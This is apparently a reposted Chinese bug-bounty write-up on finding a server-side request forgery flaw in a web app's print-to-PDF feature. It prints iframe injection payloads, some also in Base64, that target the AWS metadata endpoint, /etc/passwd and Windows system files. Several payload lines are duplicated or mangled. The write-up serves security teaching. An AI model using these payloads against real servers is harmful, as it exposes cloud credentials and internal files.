声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。 |
前言
服务器端请求伪造 (SSRF) 是一种 Web 安全漏洞，当攻击者操纵服务器向非预期目标发出未经授权的 HTTP 或其他基于协议的请求时，就会发生此类漏洞。
在应用中寻找SSRF
比如某个应用程序使用了不同的内部域来处理财务数据，并通过 iframe 获取数据。
在深入探索该应用程序时，发现了一处打印功能。
此功能将页面转换为 HTML，以 Base64 对其进行编码，然后发送以等待打印。
这不禁让人想起了NahamSec 和其它安全研究人员的文章和视频中的 SSRF 技术，特别是围绕 PDF 转换功能，这些功能通常存在 SSRF 风险。
首先尝试使用一些常用的Payloads来检查 SSRF，比如使用针对 AWS 元数据端点和 Linux 文件路径的命令：
"><iframesrc="http://169.254.169.254/latest/meta-data"height=2500width=500> "><iframesrc="cat /etc/passwd"height=2500width=500>但是遇到了 iframe 中高度和宽度参数的问题，这会导致输出失真。经过一番尝试，白帽小哥最终找到了这些参数的正确结构。
但是遇到了 iframe 中高度和宽度参数的问题，这会导致输出失真。经过一番尝试，白帽小哥最终找到了这些参数的正确结构。
"><iframe src="C:WindowsdebugNetSetup.LOG" height=2500 width=500>"><iframe/src="C:/Windows/win.ini">
Ij48aWZyYW1lL3NyYz0iQzpcV2luZG93c1xkZWJ1Z1xOZXRTZXR1cC5MT0ciIGhlaWdodD0yNTAwIHdpZHRoPTUwMD4=Ij48aWZyYW1lL3NyYz0iQzpcV2luZG93c1xkZWJ1Z1xOZXRTZXR1cC5MT0ciIGhlaWdodD01MDAgd2lkdGg9NzAwPg==
发送请求如下：
成功收获SSRF漏洞：
原文始发于微信公众号（迪哥讲事）：利用SSRF访问内部数据
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论